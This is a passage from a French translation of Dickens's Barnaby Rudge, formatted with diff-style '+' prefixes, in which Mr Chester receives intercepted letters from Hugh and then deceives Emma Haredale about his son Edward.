+vous; mais, par exemple, nous ne sommes pas où je croyais être
+avec vous, Dieu merci!»
+
+En disant ces mots, il regarda autour de lui, et particulièrement
+au-dessus de sa tête, comme s'il se fût attendu à se trouver au-
+dessous de quelque objet qui faisait partie de son rêve. Puis il
+se frotta les yeux, se secoua de nouveau, et suivit son conducteur
+dans son appartement.
+
+M. Chester alluma les bougies de sa table de toilette, et roulant
+une bergère vers le feu qui brûlait encore, s'assit devant, et dit
+à son inculte visiteur:
+
+«Venez ici, ôtez-moi mes bottes... Vous avez encore bu, mon drôle,
+dit-il lorsque Hugh s'agenouilla pour exécuter l'ordre qu'il avait
+reçu.
+
+-- Aussi vrai que j'existe, maître, j'ai fait à pied les quatre
+mortelles lieues, après quoi, j'ai attendu ici je ne sais depuis
+combien de temps, sans qu'il m'ait passé une goutte de boisson par
+les lèvres depuis midi que j'ai dîné.
+
+-- Et n'aviez-vous rien de mieux à faire, mon agréable ami, que de
+vous endormir à ébranler la maison tout entière de vos
+ronflements? dit M. Chester. Ne pouviez-vous pas aller rêver sur
+votre paille au Maypole, mauvais chien que vous êtes, au lieu de
+venir ici pour cela? Allez me chercher mes pantoufles, et marchez
+doucement.»
+
+Hugh obéit en silence.
+
+«Écoutez un peu, mon cher jeune gentleman, dit M. Chester en
+mettant les pantoufles. La première fois que vous rêverez,
+dispensez-vous de rêver de moi; rêvez de quelque chien ou de
+quelque rosse avec qui vous serez plus lié. Remplissez-vous un
+verre; vous le trouverez, ainsi que la bouteille, à la même place,
+et videz-le pour vous tenir éveillé.»
+
+Hugh obéit derechef, et, cette fois, même avec plus de zèle; puis
+après il se présenta devant son patron.
+
+«Maintenant, dit M. Chester, que me voulez-vous?
+
+-- Il y a des nouvelles aujourd'hui, répliqua Hugh; votre fils a
+paru chez nous, il est venu à cheval. Il a essayé de voir la jeune
+femme, il n'a pas pu seulement l'entrevoir. Il a laissé quelque
+lettre ou quelque message dont notre Joe s'est chargé; mais lui et
+le vieux se sont querellés à ce sujet quand votre fils a été
+parti, et le vieux ne voulait pas que la commission fût faite. Il
+dit comme ça (c'est le vieux qui parle) qu'il ne veut pas que
+personne chez lui se mêle de cette affaire pour lui procurer du
+désagrément. Il est aubergiste, comme il dit, et ne veut pas
+mécontenter ses pratiques qui le font vivre.
+
+-- C'est un vrai diamant, dit M. Chester avec un sourire, et un
+diamant brut, ce qui n'en vaut que mieux. Après?
+
+-- La fille de Varden... c'est la jeunesse à qui j'ai pris un
+baiser...
+
+-- Et à qui vous avez volé un bracelet sur la grande route, dit
+M. Chester tranquillement. Eh bien, qu'avez-vous à dire d'elle?
+
+-- Elle a écrit chez nous une lettre à la jeune femme, pour lui
+annoncer qu'elle avait perdu celle que je vous ai apportée et que
+vous avez brûlée. Notre Joe devait porter ce billet à la Garenne;
+mais le vieux a retenu son fils au logis toute la journée
+suivante, afin de l'empêcher de faire la commission. Le
+surlendemain, il m'en a chargé; le voici.
+
+-- Vous ne l'avez donc pas remis à son adresse, mon bon ami? dit
+M. Chester, en tortillant le billet de Dolly entre son doigt et
+son pouce, et feignant la surprise.
+
+-- J'ai supposé que vous ne seriez pas fâché de l'avoir, répliqua
+Hugh. Quand on en brûle une, autant les brûler toutes, ai-je
+pensé.
+
+-- Ma foi, monsieur le Diable, dit Chester, réellement, si vous ne
+prenez pas plus de discernement, votre carrière pourra bien se
+trouver raccourcie avec une rapidité merveilleuse. Ne savez-vous
+pas que la lettre que vous m'avez apportée était adressée à mon
+fils qui reste ici même? et ne mettez-vous aucune différence entre
+ses lettres et celles qui sont adressées à d'autres?
+
+-- Si vous n'en voulez pas, dit Hugh déconcerté par ce reproche,
+quand il s'attendait à des compliments, rendez-la-moi, et je la
+remettrai à son adresse. Je ne sais pas comment vous contenter,
+maître.
+
+-- Je la remettrai, répliqua son patron, en la rangeant de côté
+après avoir réfléchi un moment... La jeune demoiselle se promène-
+t-elle dehors, dans les belles matinées?
+
+-- Très souvent. Ordinairement sur le midi.
+
+-- Seule?
+
+-- Oui, seule!
+
+-- Où?
+
+-- Sur la pelouse en face de la maison, celle qui est traversée
+par le sentier.
+
+-- Si le temps est beau, il est possible que je me lance demain
+sur son passage, dit M. Chester, aussi froidement que si cette
+demoiselle eût été une de ses connaissances habituelles. Monsieur
+Hugh, si j'arrive à cheval devant la porte du Maypole, vous me
+ferez la faveur de ne m'avoir jamais vu qu'une seule fois. Vous
+devez supprimer votre gratitude et tâcher d'oublier ma tolérance
+dans l'affaire du bracelet. Cette gratitude est naturelle: je ne
+suis pas étonné que vous la montriez, et cela vous fait honneur;
+mais quand il y a là d'autres personnes, vous devez, pour votre
+propre sûreté, continuer d'être comme à votre ordinaire,
+absolument, comme si vous ne m'aviez aucune espèce d'obligation,
+et que vous ne vous fussiez jamais trouvé ici entre ces quatre
+murs. Vous me comprenez?»
+
+Hugh le comprit parfaitement. Après une pause, il marmotta qu'il
+espérait que son patron ne le jetterait pas dans quelque embarras
+au sujet de cette dernière lettre, qu'il avait gardée dans
+l'unique vue de lui plaire. Il allait continuer de ce ton, lorsque
+M. Chester coupa court à ses excuses de l'air du plus généreux des
+protecteurs, et lui dit:
+
+«Mon bon garçon, vous avez ma promesse, ma parole, mon engagement
+scellé (car un engagement verbal de ma part a tout autant de
+valeur) que je vous protégerai toujours aussi longtemps que vous
+le mériterez. Mettez donc votre esprit en repos. Soyez bien
+tranquille, je vous en prie. Quand un homme se livre à moi aussi
+complètement que vous avez fait, il me semble en vérité qu'il a
+une sorte de droit sur moi. Je suis plus disposé à la miséricorde
+et à la tolérance dans le cas actuel que je ne peux vous le dire,
+Hugh. Regardez-moi comme votre protecteur; et à l'égard de cette
+indiscrétion, soyez assuré, je vous en conjure, que vous pouvez
+conserver, aussi longtemps que vous et moi serons amis, le coeur
+le plus léger qui ait jamais battu dans une poitrine humaine.
+Remplissez encore une fois le verre, pour vous faire reprendre
+gaiement la route du Maypole. Je suis réellement confus quand je
+songe au chemin énorme que vous avez à faire; et puis adieu, bonne
+nuit!
+
+-- Ils croient, dit Hugh après avoir entonné la liqueur, que je
+suis à dormir solidement dans l'écurie. Ha ha ha! La porte de
+l'écurie est fermée, mais la bête n'y est plus, maître.
+
+-- Vous êtes un franc luron, répliqua son ami, et il n'y a rien
+qui m'amuse comme votre humeur joviale. Bonne nuit! Prenez le plus
+grand soin possible de vous, pour l'amour de moi!»
+
+Il est remarquable que, durant le cours de cette entrevue, chacun
+d'eux avait essayé de regarder à la dérobée la figure de l'autre,
+sans jamais pouvoir parvenir à la voir en plein. Ils échangèrent
+un rapide coup d'oeil lorsque Hugh ferma derrière lui la double
+porte, avec soin et sans bruit; et M. Chester resta dans sa
+bergère, fixant sur le feu un regard attentif.
+
+«C'est bien, dit-il après une longue, méditation, et il le dit
+avec un profond soupir et en changeant péniblement l'attitude,
+comme s'il écartait de son esprit quelques autres pensées, pour en
+revenir à celles qui l'avaient préoccupé tout le jour. L'intrigue
+se complique; voilà ma bombe lancée; elle éclatera dans quarante-
+huit heures, et va vous éparpiller toutes ces bonnes gens-là d'une
+manière étonnante. Nous verrons!»
+
+Il se coucha et s'endormit; mais il n'y avait pas longtemps qu'il
+dormait quand il se réveilla en sursaut, croyant que Hugh était à
+la porte extérieure et demandait d'une voix étrange, très
+différente de la sienne, qu'on le fît entrer. L'illusion était si
+forte et si pleine de cette vague terreur que la nuit donne à de
+semblables visions, qu'il se leva, et, prenant à la main son épée
+dans le fourreau, ouvrit la porte, regarda l'escalier à l'endroit
+où il avait trouvé Hugh endormi, et l'appela même par son nom.
+Mais tout était sombre et paisible. Il retourna lentement au lit,
+et, après une heure de veille fatigante, il retrouva le sommeil,
+et ne s'éveilla plus que le lendemain matin.
+
+
+
+
+CHAPITRE XXIX.
+
+
+Les pensées des hommes du monde sont à jamais réglées par une loi
+morale de gravitation, qui, comme la loi physique, les emporte
+vers la terre en vertu de l'attraction. Le glorieux éclat du jour
+et les silencieuses merveilles d'une nuit éclairée par les étoiles
+font un vain appel à leurs esprits. Il n'y a pas de signes dans le
+soleil, ni dans la lune ni dans les étoiles, qu'ils sachent lire.
+Ils ressemblent à quelques savants qui connaissent chaque planète
+par son nom latin, mais qui ont tout à fait oublié de petites
+constellations célestes telles que la charité, la tolérance,
+l'amour universel et la miséricorde, quoiqu'elles brillent nuit et
+jour d'une clarté si splendide que les aveugles peuvent les voir;
+et qui, en regardant là haut le ciel parsemé de paillettes, n'y
+voient rien que le reflet de leur grand savoir et de leur
+instruction de rencontre puisée dans des bouquins.
+
+Il est curieux de se représenter ces gens du monde, s'arrachant un
+moment à leurs grandes affaires pour tourner les yeux par hasard
+vers les innombrables sphères qui scintillent au-dessus de nous,
+qu'y voient-ils, croyez-vous? rien que l'image qu'ils portent dans
+le coeur. L'homme qui ne peut vivre que dans l'atmosphère des
+princes ne voit rien là dans le ciel que des étoiles pour décorer
+la poitrine des courtisans. L'envieux y poursuit de sa haine
+jalouse les honneurs brillants de son voisin. Pour le ladre,
+occupé à entasser de l'or, et pour la foule des gens du monde,
+tout le firmament au-dessus de nous reluit de pièces sterling,
+toutes fraîches sorties de la monnaie, avec l'empreinte de la
+figure du souverain: ils ont beau se retourner, ils ne voient rien
+autre chose entre eux et le ciel. C'est ainsi que les ombres de
+nos désirs viennent se mettre entre nous et nos bons anges, qu'ils
+éclipsent à notre vue.
+
+Tout était frais et gai, comme si le monde n'eût été fait que de
+ce matin, quand M. Chester chevaucha d'un pas tranquille le long
+de la route de la forêt. Bien que la saison ne fût pas avancée, la
+température était chaude et fécondante; les boutons des arbres
+s'épanouissaient en feuilles, les haies et l'herbe étaient vertes,
+l'air était une vraie musique, grâce aux chansons des oiseaux, et,
+s'élevant bien loin au-dessus d'eux tous, l'alouette répandait ses
+plus riches mélodies. Dans les endroits à l'ombre, la rosée du
+matin étincelait sur chaque jeune feuille et sur chaque brin
+d'herbe; et, là où rayonnait le soleil, quelques gouttes
+diamantines brillaient encore, comme par regret de quitter un si
+beau monde et d'avoir une si courte existence. Même le vent léger,
+dont le bruissement était aussi agréable à l'oreille que l'eau qui
+tombe doucement, promettait un beau jour; et laissant une suave
+odeur sur sa trace, pendant qu'il s'éloignait en voltigeant, il
+chuchotait quelque chose de ses rapports intimes avec l'été, dont
+il attendait incessamment l'heureux retour.
+
+Le cavalier solitaire allait toujours du même pas, toujours égal,
+promenant à travers les arbres un coup d'oeil du soleil à l'ombre
+et de l'ombre au soleil, regardant autour de lui, sans doute, de
+moment en moment; mais s'il pensait avec quelque plaisir au jour
+si beau, au chemin si charmant, c'était seulement pour s'applaudir
+dans l'intérêt de sa toilette, plus soignée que jamais, d'être
+favorisé d'un pareil temps. Il souriait alors avec complaisance,
+mais plutôt comme satisfait de lui-même que de toute autre chose,
+poursuivant ainsi sa promenade sur son bidet alezan, d'aussi bonne
+mine que le cavalier, et probablement plus sensible aux scènes
+intéressantes de la nature dont il marchait environné.
+
+Les massives cheminées du Maypole finirent par se dresser à ses
+yeux, mais il n'accéléra point son pas, et ce fut toujours avec la
+même gravité calme qu'il arriva auprès du porche de la taverne.
+John Willet, qui faisait rôtir sa rouge figure devant un grand feu
+dans la salle et qui, avec une prévoyance et une vivacité d'esprit
+prodigieuses, venait de penser, en regardant le ciel bleu, que, si
+l'état des choses se prolongeait, il faudrait de toute nécessité
+éteindre les feux et ouvrir les fenêtres toutes grandes, sortit
+pour tenir l'étrier au gentleman, appelant d'une voix gaillarde:
+Hugh!
+
+«Oh! c'est vous; vous y êtes donc déjà, monsieur? dit John un peu
+étonné de la promptitude avec laquelle Hugh avait paru. Menez à
+l'écurie ce précieux animal, et ayez-en un soin plus que
+particulier, si vous désirez, garder votre place... Un fainéant,
+monsieur, comme il n'y en a pas!
+
+-- Mais vous avez un fils, répliqua monsieur Chester en donnant sa
+bride après avoir mis pied à terre, et répondant au salut de
+l'aubergiste par un négligent mouvement de sa main vers son
+chapeau. Pourquoi ne l'utilisez-vous pas, lui?»
+
+-- Eh mais, la vérité est, monsieur, repartit John avec une grande
+importance, que mon fils... Qu'est-ce que vous faites là à
+m'écouter, vilain curieux?
+
+-- Qui est-ce qui écoute? riposta Hugh en colère. Avec ça que
+c'est amusant de vous écouter! Voulez-vous pas que j'emmène le
+cheval à l'écurie tout en sueur, pour qu'il s'enrhume?
+
+-- Alors promenez-le de long en large plus loin de nous, monsieur,
+cria le vieux John, et quand vous me voyez en train de causer avec
+un noble gentleman, restez à distance. Si vous ne connaissez pas
+votre distance, monsieur, ajouta M. Willet après une pause
+énormément longue, durant laquelle il fixa ses grands yeux
+stupides sur Hugh, et attendit avec une patience exemplaire qu'il
+lui passât par l'esprit quelque chose qui ressemblât à une idée,
+nous trouverons un moyen de vous l'apprendre plus vite que ça.»
+
+Hugh haussa les épaules dédaigneusement, prit son air téméraire et
+traversa de l'autre côté du gazon, où, ayant jeté la bride en
+bandoulière sur son épaule, il promena le cheval, tout en lançant
+de temps en temps à son maître, par-dessous ses sourcils touffus,
+des coups d'oeil aussi sinistres qu'un tyran de mélodrame.
+
+M. Chester qui, sans que cela parût, l'avait attentivement observé
+durant cette courte dispute, entra dans le porche, et se tournant
+brusquement vers M. Willet, lui dit:
+
+«Vous avez d'étranges domestiques, John.
+
+-- Il est certain, monsieur, que celui-ci a l'air assez étrange,
+répondit l'aubergiste; mais c'est un bon domestique pour le
+dehors. Pour les chevaux, les chiens et tout cela, il n'y a pas en
+Angleterre un plus habile homme que ce Hugh du Maypole. Par
+exemple, il ne vaut rien pour le dedans, ajouta M. Willet de l'air
+confidentiel d'un homme qui sentait la supériorité de sa propre
+nature. Le dedans, c'est mon affaire; mais si ce gars avait
+simplement un brin d'imagination, monsieur...
+
+-- C'est un garçon actif, je le parierais, dit M. Chester, ayant
+l'air de se parler à lui-même plutôt qu'à la cantonade.
+
+-- Actif, monsieur, riposta John, dont la figure par
+extraordinaire prit de l'expression; ce gars-là! Ohé, ici!
+monsieur! Amenez le cheval par ici, et allez pendre ma perruque à
+la girouette, pour montrer à ce gentleman si vous êtes leste.»
+
+Hugh ne répondit pas, mais jetant la bride à son maître, et lui
+arrachant de la tête sa perruque avec si peu de cérémonie et tant
+de précipitation que M. Willet n'en fut pas peu déconcerté,
+quoiqu'il en eût exprimé le désir spécial, il grimpa lestement au
+faîte du mai placé devant la maison, et suspendant la perruque sur
+la girouette, il l'y fit tourner comme la manivelle d'un
+tournebroche. Cet exercice achevé, il la lança à terre, et
+glissant lui-même en bas le long du mai avec une inconcevable
+rapidité, il se trouva sur ses pieds presque aussitôt que la
+perruque touchait le sol.
+
+«Voilà, monsieur! dit John retombant dans son état de stupidité
+habituelle. Vous ne verrez pas beaucoup d'auberges comme le
+Maypole, pour y avoir bon logis à pied, à cheval; ni pour voir ça
+non plus, quoique ce ne soit rien au prix de tout ce qu'il fait.»
+
+Cette dernière remarque était une allusion à la manière dont Hugh
+sautait sur le dos d'un cheval, comme il avait fait lors de la
+première visite de M. Chester, et disparaissait promptement par la
+porte de l'écurie.
+
+«Ça n'est rien au prix de tout ce qu'il fait, répéta M. Willet en
+brossant sa perruque avec son poignet, et se décidant
+intérieurement à distribuer sur les divers articles de la note de
+son hôte une petite augmentation pour le dommage causé par la
+poussière à cette pièce de son ajustement. Il saute de presque
+toutes les fenêtres de la maison. Il n'y a jamais eu de gars pour
+se jeter comme lui de n'importe où, sans se rompre les os. C'est
+mon opinion, monsieur, qu'il ne doit guère tout ça qu'à son manque
+d'imagination, et que, si l'imagination pouvait (chose impossible)
+lui être fourrée dans la tête, il ne serait plus capable d'en
+faire autant. Mais nous parlions de mon fils, monsieur.
+
+-- C'est vrai, Willet, c'est vrai, dit le visiteur en se tournant
+vers l'aubergiste avec sa sérénité habituelle. Mon bon ami,
+qu'est-ce qu'on dit de lui?»
+
+On m'a rapporté que M. Willet avant de répondre cligna de l'oeil.
+Mais comme il n'a jamais été reconnu coupable d'une telle légèreté
+de conduite, ni antérieurement ni ultérieurement, on peut regarder
+cette inconvenance comme une invention de ses ennemis, fondée
+peut-être sur le fait suivant qui est incontestable. Il prit son
+hôte par le troisième bouton de son habit sur la poitrine, en
+comptant à partir du menton, et lui insinuant sa réplique dans
+l'oreille:
+
+«Monsieur, dit John avec dignité, je connais mon devoir. Nous
+n'avons pas besoin ici d'amourettes, monsieur, d'amourettes à
+l'insu des parents. Je respecte certain jeune gentleman, comme un
+jeune gentleman qu'il est; je respecte certaine jeune demoiselle,
+comme une demoiselle qu'elle est, mais ces deux personnes, en tant
+que les deux font la paire, je ne connais pas ça, monsieur, je
+n'entends pas ça. Mon fils, monsieur, s'est engagé.
+
+-- Je croyais l'avoir vu regarder tout à l'heure à travers la
+fenêtre du coin, dit M. Chester, qui, naturellement, pensa que,
+s'il était engagé, il devait être quelque part sous les drapeaux.
+
+-- Vous ne vous êtes pas trompé, monsieur, c'est bien lui que vous
+avez vu, répliqua John. Je vous disais qu'il était engagé...
+d'honneur, monsieur, à ne pas sortir d'ici. Moi et quelques-uns de
+mes amis qui passent leurs soirées au Maypole, monsieur, nous
+avons considéré que c'était le meilleur parti à prendre pour
+l'empêcher de faire quoi ce soit de fâcheux en opposition avec vos
+désirs. Nous l'avons fait engager. Et il y a plus, monsieur, nous
+ne lui laisserons pas rompre son engagement avant un bon bout de
+temps, je vous en réponds.»
+
+Lorsqu'il eut causé par ses paroles ambiguës cette légère méprise,
+dont l'origine était sans doute la récente escapade d'un garçon du
+village, qui venait de s'engager pour de bon, M. Willet se recula
+de l'oreille de son hôte; et, sans aucune modification visible
+dans ses traits, il gloussa de rire trois fois bien distinctement.
+Il ne riait jamais plus fort que cela, il ne se le serait pas
+permis (et encore, encore, il fallait des occasions rares et
+extraordinaires); il ne retroussait pas même ses lèvres, et
+n'aurait pas, pour tout au monde, remué tant seulement son double
+menton, gras et dodu, lequel en ces circonstances, aussi bien que
+dans toutes les autres, restait, comme un véritable désert de
+Sahara, sur la large mappemonde de sa frimousse; un steppe en
+blanc sur la carte, un monde inconnu, sans ville, sans verdure et
+sans eau.
+
+Que personne ne s'étonne si M. Willet se permit ce petit éclat de
+rire, sans respect pour une personne qu'il avait souvent hébergée
+et qui avait toujours payé généreusement son passage au Maypole;
+c'est au contraire un fait à l'honneur de sa pénétration et de sa
+sagacité, qui lui conseillaient, contre son habitude, cette
+démonstration badine et familière. Car M. Willet, après avoir pesé
+avec soin le père et le fils dans ses balances mentales, était
+arrivé à la conclusion fort nette que le vieux gentleman était un
+chaland de meilleure qualité que le jeune. Puis, jetant dans le
+même plateau, déjà victorieux, son propriétaire, et, par-dessus
+M. Haredale, le vif agrément de contrecarrer le malheureux Joe, et
+sa résistance paternelle, en principe général, à toutes les
+affaires d'amour et de mariage, ce plateau plongea droit vers le
+plancher, envoyant droit au plafond le jeune gentleman, qui ne
+pesait pas plus qu'une plume. M. Chester n'était pas homme à se
+faire illusion sur les motifs de M. Willet; mais il le remercia
+avec autant de grâce que si l'aubergiste eût été un des plus
+désintéressés martyrs qui eussent jamais paru dans ce monde; et,
+le laissant maître de lui préparer un dîner de son choix, grande
+preuve de confiance dans son goût et son jugement, dit-il d'un ton
+complimenteur, il dirigea ses pas vers la Garenne.
+
+Habillé avec encore plus d'élégance que de coutume, prenant une
+grâce accomplie de manières, qui, pour être le résultat d'une
+longue étude, ne lui en laissait pas moins toute son aisance et
+lui seyait à merveille, donnant à ses traits l'expression la plus
+sereine et la plus faite pour gagner les coeurs; bref,
+irréprochable de tout point, ce qui dénotait qu'il n'attachait pas
+une médiocre importance à l'impression que sa personne allait
+faire, il entra sur les limites de la promenade habituelle de
+Mlle Haredale. À peine eut-il fait quelques pas et jeté un coup
+d'oeil autour de lui, qu'il aperçut une femme venant dans sa
+direction. Un coup d'oeil jeté sur sa taille et sa toilette, comme
+elle traversait un petit pont de bois qui les séparait, suffit
+pour lui donner la certitude que c'était bien la personne qu'il
+désirait voir. Il s'avança sur son chemin, et, le moment d'après,
+ils étaient tout près l'un de l'autre.
+
+Il ôta son chapeau, et, cédant le sentier à la jeune fille, il la
+laissa passer. Puis, comme si l'idée ne lui en était venue qu'en
+ce moment, il se tourna vers elle avec précipitation, et lui dit
+d'une voix agitée:
+
+«Je vous demande pardon, n'est-ce pas à mademoiselle Haredale que
+je m'adresse?
+
+Elle s'arrêta, quelque peu confuse d'être accostée d'une façon si
+inattendue par un étranger, et répondit oui.
+
+«Quelque chose me disait, reprit-il avec un regard qui était un
+compliment pour sa beauté, que ce ne pouvait être une autre.
+Mademoiselle Haredale, je porte un nom qui ne vous est pas
+inconnu, et qui, pardonnez-moi d'en éprouver à la fois de
+l'orgueil et du chagrin, résonne, je crois, agréablement à vos
+oreilles. Je suis déjà d'un certain âge, comme vous voyez. Je suis
+le père de l'homme que vous daignez distinguer par-dessus tous les
+autres. Puis-je, pour de puissantes raisons qui me sont bien
+pénibles, vous prier de m'accorder ici une minute d'entretien?»
+
+Comment une jeune fille, étrangère à la ruse, avec un coeur plein
+d'une noble franchise, aurait-elle pu douter de la sincérité de
+cet homme, surtout quand elle reconnaissait dans sa voix l'écho
+affaibli d'une voix qu'elle connaissait si bien et qu'elle aimait
+tant à entendre? Elle inclina la tête, s'arrêta, et jeta les yeux
+sur le sol.
+
+«Un peu plus à l'écart, entre ces arbres. C'est la main d'un
+vieillard que je vous offre, mademoiselle Haredale; une main
+loyale et honnête, croyez-le bien.»
+
+Elle y mit la sienne comme il disait ces mots, et se laissa
+conduire vers un siège voisin.
+
+«Vous m'alarmez, monsieur, dit-elle à voix basse. Vous n'êtes pas
+porteur de quelque mauvaise nouvelle, j'espère?
+
+-- D'aucune que vous puissiez craindre avant de m'entendre,
+répondit-il en s'asseyant près d'elle. Édouard va bien, tout à
+fait bien. C'est de lui que je désire vous parler, certainement;
+mais je n'ai pas de malheur à vous annoncer.
+
+Elle inclina la tête de nouveau, comme pour le prier de
+poursuivre, mais sans rien dire elle-même.
+
+«Je sais que j'ai tout contre moi dans ce que je vais avoir à vous
+dire, chère mademoiselle Haredale. Croyez-moi, je n'ai pas oublié
+les sentiments de ma jeunesse au point de ne pas savoir que vous
+êtes peu disposée à me regarder d'un oeil favorable. Vous m'avez
+entendu dépeindre comme un homme au coeur froid, positif, égoïste.
+
+-- Je n'ai jamais, monsieur, interrompit-elle d'un air mécontent
+et d'une voix ferme, je n'ai jamais entendu parler de vous en
+termes durs ou incivils. Vous ne rendez pas justice au naturel
+d'Édouard, si vous croyez votre fils capable de sentiments si bas
+et si vulgaires.
+
+-- Pardonnez-moi, ma douce jeune demoiselle, mais votre oncle...
+
+-- Ce n'est pas non plus dans le caractère de mon oncle, répliqua-
+t-elle, et sa joue se colora davantage; il n'est pas dans son
+caractère de frapper dans l'ombre, pas plus que dans le mien
+d'aimer de pareils actes.
+
+À ces mots elle se leva et voulait le quitter; mais il la retint
+doucement de sa main, et il la supplia d'un accent persuasif de
+l'entendre encore une minute: elle se laissa calmer et consentit à
+se rasseoir.
+
+«Et c'est, dit M. Chester en levant les yeux au ciel et en
+apostrophant l'air, c'est ce coeur si franc, si ingénu, si noble,
+que vous pouvez, Ned, blesser si légèrement! C'est honteux,
+honteux pour vous, jeune homme!»
+
+Elle se tourna vite vers lui, avec un regard de dédain et des
+éclairs dans les yeux. Dans les yeux de M. Chester il y avait des
+larmes; mais il les essuya précipitamment, comme s'il lui eût
+répugné qu'elle vît cette faiblesse, et il la regarda d'un oeil où
+l'admiration se mêlait à la compassion.
+
+«Je n'aurais jamais cru jusqu'à présent, dit-il, que la conduite
+frivole d'un jeune homme pût m'émouvoir comme vient de le faire
+celle de mon propre fils. Je n'avais jamais connu comme en ce
+moment ce que vaut le coeur d'une femme que ces jeunes garçons se
+font un jeu de prendre et de quitter avec tant de légèreté.
+Croyez, chère demoiselle, que jamais, jusqu'à présent, je n'avais
+connu votre mérite; et quoique je n'aie fait, en venant vous
+trouver, que céder à mon horreur pour tout ce qui est tromperie et
+mensonge, car je l'eusse fait également pour la plus pauvre et la
+moins douée de votre sexe, je n'aurais pas eu le courage
+d'affronter cette conversation, si j'avais pu vous peindre à mon
+esprit telle que vous m'apparaissez réellement.»
+
+Oh! si Mme Varden avait pu voir le vertueux gentleman quand il
+prononça ces paroles, avec ses yeux étincelants d'indignation...
+si elle avait pu entendre sa voix entrecoupée, tremblotante... si
+elle avait pu le contempler quand, debout et nu-tête au soleil, il
+épanchait son éloquence avec une énergie inaccoutumée!
+
+La figure altière, mais pâle et tremblante aussi, Emma le
+regardait en silence. Elle ne parlait ni ne bougeait, mais elle le
+considérait comme si elle eût voulu lire dans son coeur.
+
+«Je secoue, dit M. Chester, la contrainte que l'affection
+naturelle imposerait à quelques hommes, et je brise tous autres
+liens que ceux de la vérité et du devoir Mademoiselle Haredale,
+vous êtes trompée, vous êtes trompée par votre indigne amant, par
+mon indigne fils!
+
+Elle le regarda fixement et ne dit pas encore un seul mot. «J'ai
+toujours été opposé à l'amour dont il a fait profession envers
+vous, vous serez assez juste, chère mademoiselle Haredale, pour
+vous le rappeler, votre oncle et moi fûmes ennemis dans notre
+jeunesse, et, si j'avais cherché des représailles, j'aurais pu en
+trouver ici. Mais en devenant vieux nous devenons plus sages,
+meilleurs, j'aimerais à l'espérer, et dès le principe j'ai été
+opposé à mon fils dans cette tentative. J'en prévoyais la fin, et
+je voulais vous l'épargner, si cela m'était possible.
+
+-- Parlez ouvertement, monsieur, balbutia-t-elle, vous me trompez
+ou vous vous trompez. Je ne vous crois pas, je ne le peux pas, je
+ne le dois pas.
+
+-- D'abord, dit M. Chester d'un ton insinuant, comme il y a peut-
+être dans votre esprit quelque secret sentiment de colère que je
+ne veux pas exploiter, prenez, je vous prie, cette lettre. Elle
+est tombée en mes mains par hasard, par suite d'une méprise, elle
+était destinée à vous expliquer, m'a-t-on dit, pourquoi mon fils
+n'a pas répondu à un autre billet de vous. À Dieu ne plaise,
+mademoiselle Haredale, dit le bon gentleman avec une grande
+émotion, qu'il reste dans votre tendre coeur un injuste sujet de
+reproche contre Édouard! Vous deviez connaître, comme vous allez
+le voir, qu'Édouard n'est pas en faute sur ce point.»
+
+Un semblable procédé semblait si candide, si scrupuleux, si
+honorable, si vrai et si juste, il y avait là quelque chose qui en
+rendait le loyal auteur si digne de confiance, qu'Emma sentit,
+pour la première fois, son coeur défaillir. Elle se détourna et
+fondit en larmes.
+
+«Je voudrais, dit M. Chester en se penchant vers elle en lui
+parlant d'une voix douce et tout à fait vénérable je voudrais,
+chère demoiselle, que ma tâche fût de dissiper et non d'accroître
+ces témoignages de votre douleur. Mon fils, mon fils égaré... car
+je ne veux pas l'accuser d'être criminel de propos délibéré: les
+jeunes gens qui ont déjà eu deux ou trois amourettes auparavant
+agissent sans réflexion, sans savoir seulement le mal qu'ils
+font... rompra la foi qu'il vous a engagée; il l'a même rompue
+maintenant. M'arrêterai-je là, et, après vous avoir donné cet
+avertissement, laisserai-je à l'avenir le soin de le justifier, ou
+bien voulez-vous que je continue?
+
+-- Continuez, monsieur, répondit-elle, et parlez plus ouvertement
+encore; vous le devez pour lui comme pour moi.
+
+-- Ma chère demoiselle, dit M. Chester en se courbant vers elle
+d'une manière encore plus affectueuse, que je voudrais nommer ma
+chère fille, mais les destins ne le permettent pas, Édouard
+cherche à rompre avec vous sous un prétexte faux et tout à fait
+inexcusable. Je le sais par ses manifestations, j'en ai eu la
+preuve de sa main. Pardonnez-moi si j'ai surveillé sa conduite; je
+suis son père; votre paix et son honneur m'étaient chers, et il ne
+me restait plus d'autre ressource. Une lettre se trouve en ce
+moment sur son pupitre, prête à vous être envoyée, et dans
+laquelle il vous dit que notre pauvreté... notre pauvreté, la
+sienne et la mienne, mademoiselle Haredale, l'empêche de persister
+et de prétendre à votre main; dans laquelle il vous offre, vous
+propose volontairement, de vous dégager de votre foi, et parle
+avec magnanimité (ce que les hommes font très communément en
+pareil cas) d'être un jour plus digne de votre attention, et ainsi
+de suite; une lettre, enfin, dans laquelle non seulement il fait
+avec vous des façons, pardonnez-moi l'expression, je voudrais
+appeler à votre secours votre orgueil et votre dignité; non
+seulement il fait avec vous des façons pour retourner, je le
+crains, à l'objet dont les dédains lui avaient inspiré sa courte
+passion pour vous (car elle prit naissance dans sa vanité
+blessée), mais encore affecte de se faire un mérite et une vertu
+de son prétendu sacrifice.»
+
+Emma lança de nouveau à M. Chester un regard orgueilleux, comme
+par un mouvement involontaire, et elle répliqua le coeur gros:
+
+«Si ce que vous dites est vrai, il prend une peine bien inutile,
+monsieur, pour exécuter son dessein. Il est bien bon de se
+préoccuper de la paix de mon esprit. Je lui en suis fort obligée.
+
+-- Vous reconnaîtrez si ce que je vous dis est vrai, chère
+demoiselle, repartit M. Chester, en recevant ou en ne recevant pas
+la lettre dont je vous parle... Haredale, mon cher garçon, je suis
+charmé de vous voir, quoique nous nous rencontrions dans une
+circonstance singulière et assez triste. Vous vous portez bien je
+l'espère?»
+
+À ces mots, la jeune demoiselle leva ses yeux qui étaient pleins
+de larmes en voyant son oncle debout en effet devant eux, se
+sentant d'ailleurs incapable de supporter l'épreuve d'entendre ou
+de dire elle même un mot de plus, elle s'éloigna précipitamment et
+les laissa. Ils restèrent à se regarder l'un l'autre et à suivre
+des yeux Emma qui se retirait sans que, pendant longtemps, ni l'un
+ni l'autre ouvrît la bouche.
+
+«Qu'est-ce que cela signifie? Expliquez-vous, dit enfin
+M. Haredale. Pourquoi êtes-vous ici, et pourquoi avec elle?
+
+-- Mon cher ami, répondit l'autre en reprenant ses manières
+accoutumées avec une merveilleuse promptitude, et se jetant sur le
+banc d'un air fatigué, vous m'avez dit il n'y a pas longtemps, à
+cette vieille taverne délicieuse dont vous êtes le propriétaire
+estimé (c'est un charmant établissement pour des personnes qui ont
+des occupations rurales et une santé assez robuste pour ne pas
